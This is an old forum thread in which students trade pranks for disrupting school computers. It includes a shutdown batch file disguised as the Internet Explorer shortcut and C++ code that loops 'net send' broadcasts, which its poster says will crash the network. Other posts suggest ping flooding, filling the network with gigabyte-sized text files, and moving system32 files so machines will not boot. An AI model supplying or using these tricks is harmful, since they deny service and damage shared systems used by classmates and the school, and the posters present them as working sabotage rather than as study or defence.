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Posted on 27-05-06 19:36
Sometimes when i wanted to mess with the really stupid people in my class i would get to class a little early make a simple batch file that shutdown the computer, then i would delete the internet explorer icon, Make a shortcut to my batch file and make the icon the internet explorer icon. rename it internet explorer and when they got on the computer to play games(witch is all they do) they would click on the internet explorer icon and it would shut down thier computer. It was pretty funny
becuase of deepfreeze when the computer turned off and back on the icon was linked to internet explorer again and i couldn't get caught

Fun times... fun times.


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Posted on 27-05-06 20:01
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*include <cstdlib>
*include <iostream>

using namespace std;

int main(int argc, char *argv[])
{
    int x;
x=0;
while(x==0)
{
    system("net send * You got owned!");
}
    return 0;
}





(The *'s at the start are meant to be hashes, in case you didn't know)

Compile that in Dev-C++ or whatever is your favourite C++ compiler. It will send an infinite loop of net send messages as long as the "Alerter" and "Messenger" services are enabled, it will eventually crash the network if it isn't stopped.




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Posted on 27-05-06 21:37
Isent it possible to do a ping flood? Like make a batch file that keeps pinging another computer on there network non-stop, and then make another computer run the script pinging that some computer and so on. probibly just make it dissconnect.


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Posted on 27-05-06 21:53
You could ping flood them, but ICMP packets are small and net send messages are bigger so they crash the network faster. Also net sends can go to the entire network whereas pings can't


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Posted on 28-05-06 00:24
mastergamer wrote:
You could ping flood them, but ICMP packets are small and net send messages are bigger so they crash the network faster. Also net sends can go to the entire network whereas pings can't


yeah thats true. But ping flooding them would still be funny because It would probibly make the network lag like hell.


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Posted on 28-05-06 00:33
well to make it lag pretty bad you could make a batch file that replicates a txt file each txt file would be like a GB or 2 big, eventually the network would crash lol


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Posted on 28-05-06 01:32
"HEY EVERYONE THE BIG BLUE CABLE BEHIND YOUR COMPUTER CAN BE PULLED OUT" doesnt exacty crash it.. but.. 'nuff said eh?


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Posted on 12-07-06 08:46
i just heard about this about an hour ago but do you think it would be possible to move a few of the critical system32 files over into the temp directory so the computer would work untill it was shut down but then it wouldn't start again.... i'm not sure this would work it sounds a little far fetched to me I'll have to give it a try some time in the future


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